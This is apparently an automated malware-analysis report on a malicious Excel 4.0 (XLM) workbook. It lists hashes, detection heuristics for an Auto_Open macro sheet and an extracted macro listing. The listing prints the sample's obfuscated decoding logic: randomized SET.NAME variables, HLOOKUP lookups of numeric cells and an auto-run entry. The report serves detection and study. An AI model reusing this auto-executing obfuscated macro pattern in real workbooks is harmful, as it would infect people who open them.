Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45698eaadbb530d0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:22 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: d9e14ee8cda71d580cf6e887fc7e4445 SHA-1: 805de9d3f3537ccb351b4b18c84aa629e2be5b2f SHA-256: 45698eaadbb530d057071ecc7100164922a1b8d9b227b1b36c9bd95253892aed
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6666 bytes
SHA-256: 75f63ea048e5ec93cb4f55b2748b1c35f2dd51d1ff955f31be4aaf538eee06ad
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KJyR
' 0018     23 LABEL : Cell Value, String Constant - AkOAmvRB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B172 
' 0018     22 LABEL : Cell Value, String Constant - cCcNssp len=0 
' 0018     22 LABEL : Cell Value, String Constant - dnoSvMr len=0 
' 0018     21 LABEL : Cell Value, String Constant - ejLgEw len=0 
' 0018     27 LABEL : Cell Value, String Constant - GCMeDmqsTkIg len=0 
' 0018     21 LABEL : Cell Value, String Constant - hZFvIj len=0 
' 0018     23 LABEL : Cell Value, String Constant - iuIXSlbr len=0 
' 0018     20 LABEL : Cell Value, String Constant - JmSjv len=0 
' 0018     27 LABEL : Cell Value, String Constant - JqtjeROqdhOE len=0 
' 0018     22 LABEL : Cell Value, String Constant - JWqHMGU len=0 
' 0018     24 LABEL : Cell Value, String Constant - MfrIlZYpm len=0 
' 0018     23 LABEL : Cell Value, String Constant - MzPyHSYp len=0 
' 0018     26 LABEL : Cell Value, String Constant - NgMKZVGHVik len=0 
' 0018     26 LABEL : Cell Value, String Constant - nuOwqzYkYre len=0 
' 0018     26 LABEL : Cell Value, String Constant - uUMVLmcnbFA len=0 
' 0018     25 LABEL : Cell Value, String Constant - wdlsgRAtmR len=0 
' 0018     25 LABEL : Cell Value, String Constant - WHvOzmKsfz len=0 
' 0018     22 LABEL : Cell Value, String Constant - wNooFJY len=0 
' 0018     21 LABEL : Cell Value, String Constant - yenlVi len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZGUHHeBSYx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KJyR,B93,"SET.NAME("uUMVLmcnbFA",0+VALUE("0"))",""
'  KJyR,Q94,"",-246.00000000000000000000
'  KJyR,Q95,"",-293.00000000000000000000
'  KJyR,B96,"SET.NAME("ZGUHHeBSYx",uUMVLmcnbFA)",""
'  KJyR,Q96,"",895.00000000000000000000
'  KJyR,Q97,"",-830.00000000000000000000
'  KJyR,Q98,"",542.00000000000000000000
'  KJyR,Q99,"",-902.00000000000000000000
'  KJyR,B100,"SET.NAME("MfrIlZYpm",uUMVLmcnbFA)",""
'  KJyR,B104,"SET.NAME("MzPyHSYp",COUNTA(AkOAmvRB))",""
'  KJyR,B107,"SET.NAME("nuOwqzYkYre",COUNTA(iuIXSlbr))",""
'  KJyR,B109,[],""
'  KJyR,B111,"SET.NAME("JqtjeROqdhOE","")",""
'  KJyR,B113,"ZGUHHeBSYx",""
'  KJyR,B116,"SET.NAME("NgMKZVGHVik",HLOOKUP("*",AkOAmvRB,ZGUHHeBSYx,FALSE))",""
'  KJyR,B119,"JWqHMGU",""
'  KJyR,B122,"SET.NAME("dnoSvMr",uUMVLmcnbFA)",""
'  KJyR,B124,[],""
'  KJyR,B128,"dnoSvMr",""
'  KJyR,B131,"WHvOzmKsfz",""
'  KJyR,B134,"JmSjv",""
'  KJyR,B136,"wdlsgRAtmR",""
'  KJyR,B139,"SET.NAME("GCMeDmqsTkIg",VALUE(HLOOKUP("*",iuIXSlbr,wdlsgRAtmR,FALSE)))",""
'  KJyR,B141,"wNooFJY",""
'  KJyR,B145,"JqtjeROqdhOE",""
'  KJyR,B149,"MfrIlZYpm",""
'  KJyR,B154,NEXT(),""
'  KJyR,B156,"cCcNssp",""
'  KJyR,B160,[],""
'  KJyR,B163,"hZFvIj",""
'  KJyR,B168,NEXT(),""
'  KJyR,B170,RETURN(),""
'  KJyR,B200,"SET.NAME("ejLgEw",B93)",""
'  KJyR,B203,"AkOAmvRB",""
'  KJyR,B208,"SET.NAME("iuIXSlbr",R89C15)",""
'  KJyR,B213,"SET.NAME("hZFvIj",221)",""
'  KJyR,B216,"SET.NAME("yenlVi",2)",""
'  KJyR,B220,ejLgEw(),""
'  KJyR,B221,HALT(),""

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